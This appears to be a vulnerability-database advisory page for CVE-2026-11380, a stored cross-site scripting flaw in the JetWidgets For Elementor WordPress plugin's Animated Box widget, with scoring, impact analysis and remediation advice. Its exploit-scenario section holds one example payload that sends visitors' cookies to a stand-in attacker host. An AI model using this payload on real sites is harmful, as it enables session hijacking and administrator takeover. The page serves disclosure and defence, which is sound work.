Skip to main content

JetWidgets For Elementor CVE-2026-11380

| EUVDEUVD-2026-40909 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 Wordfence GHSA-xjv6-qwmr-5pf6
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain WordPress author-level credentials
  2. Delivery
    Access Elementor editor on target site
  3. Exploit
    Inject JavaScript payload into Animated Box animation_effect field
  4. Execution
    Save page (payload persisted to database unescaped)
  5. Persist
    Victim or administrator visits injected page
  6. Impact
    Attacker script executes in victim browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid WordPress user account with at minimum author-level role on the target site; subscriber or lower roles cannot publish or edit pages and are therefore insufficient. The JetWidgets For Elementor plugin (version ≤1.0.21) must be installed and active, and the attacker must have Elementor editing access to a page where the Animated Box widget can be placed. The stored payload executes passively in any visitor's browser upon page load - the victim does not need to click a specific link, only navigate to the injected page through normal browsing. Exploitation is limited by the author-credential prerequisite, meaning sites where untrusted parties hold no author-level accounts face minimal practical risk despite the network-accessible CVSS vector. The scope change to victim browsers is the key risk multiplier: a low-privilege author can target high-privilege administrators who routinely browse published content.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4, indicating low-complexity network exploitation requiring only low-privilege credentials (author-level WordPress role) with no attacker-side user interaction and a changed scope affecting victims' browsers. Real-world priority is moderate-to-high in environments where WordPress author accounts are distributed to partially trusted or external contributors, such as multi-author news sites, editorial platforms, or multi-tenant WordPress hosting - in those contexts the PR:L bar is effectively already cleared. Single-operator or administrator-only sites face negligible risk since the attacker prerequisite is a legitimately issued author account. No KEV listing was provided, indicating no confirmed active exploitation at time of analysis, and no EPSS score was supplied, preventing probabilistic quantification. The absence of a public POC further reduces immediate automated exploitation risk. The Changed Scope metric is the most consequential signal: a low-privilege author can impact high-privilege administrators by injecting payloads that execute when admins visit affected pages, enabling de facto privilege escalation.

Exploit ScenarioDerived

An attacker who holds or compromises a WordPress author account on a target site opens the Elementor editor, adds an Animated Box widget to a page, and enters a JavaScript payload such as '"><script>document.location='https://attacker.example/steal?c='+document.cookie</script> into the animation_effect field, then publishes the page. The payload is stored in the WordPress database without sanitization; any administrator or authenticated user who subsequently visits that page has the script execute in their browser, allowing the attacker to harvest session tokens and potentially create a rogue administrator account. No public proof-of-concept code has been identified, but the CWE-79 class is well-understood and the specific vulnerable parameter is named in the Wordfence disclosure.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

Stored cross-site scripting in JetWidgets For Elementor (versions up to and including 1.0.21) allows authenticated WordPress users holding author-level access or higher to plant persistent JavaScript payloads by supplying unsanitized input to the Animated Box widget's animation_effect parameter, which is written directly into an HTML class attribute without output escaping or server-side validation. Any site visitor who loads an injected page triggers the payload, enabling session hijacking, credential theft, or administrative account takeover through privilege escalation within the victim's browser context. No public exploit has been identified at time of analysis and the CVE does not appear in CISA KEV; however, a fix has been committed to the WordPress plugin repository.

RemediationAI

Update JetWidgets For Elementor to a version newer than 1.0.21 as soon as a patched release is confirmed available in the WordPress plugin repository; the fix is present in changeset 3583305 (https://plugins.trac.wordpress.org/changeset/3583305/jetwidgets-for-elementor) but a specific tagged release version was not independently confirmed from available data - verify via the plugin's changelog before deploying. As an immediate compensating control, audit all WordPress user accounts and remove or demote to subscriber-level any author-role accounts granted to untrusted or unnecessary users, directly eliminating the attacker prerequisite; note this impacts editorial workflows on multi-author sites. Alternatively, disable the Animated Box widget specifically via Elementor's widget restriction settings or a role-based widget manager plugin, which removes the vulnerable attack surface without uninstalling the entire JetWidgets suite. Both workarounds carry operational trade-offs: role demotion disrupts content publishing, while widget disablement breaks existing pages that use the Animated Box component.

Affected VersionsENISA

JetWidgets For Elementor 0 ≤1.0.21

Affected Packages

euvd jetwidgets_for_elementor no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

JetWidgets For Elementor is a WordPress plugin developed by JetMonsters that extends the Elementor page builder with additional widget types. The affected component is the Animated Box widget, specifically how it processes and renders the animation_effect configuration field. According to the CPE string cpe:2.3:a:jetmonsters:jetwidgets_for_elementor:*:*:*:*:*:*:*:*, all versions are nominally in scope, with the description capping exploitable versions at 1.0.21. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), arising from two compounding failures: missing server-side input validation at save time and absent output escaping at render time. The value is injected into an HTML class attribute, a vector frequently overlooked because class attributes are perceived as non-executable - yet unsanitized class values can serve as XSS sinks in certain attribute injection patterns. The CVSS Changed Scope (S:C) reflects that while the attacker interacts with the WordPress application, the ultimate impact lands in a third-party user's browser context.

Know when Jetwidgets For Elementor gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 6.4 MEDIUM

Author-level credential requirement justifies PR:L; payload stored and served via web (AV:N, AC:L); scope changes to victim browsers (S:C); no availability impact observed.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The JetWidgets For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 1.0.21. This is due to insufficient output escaping and missing server-side validation of the Animated Box widget's animation_effect setting before it is rendered inside an HTML class attribute. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular Elementor addon plugin with moderate WordPress market footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy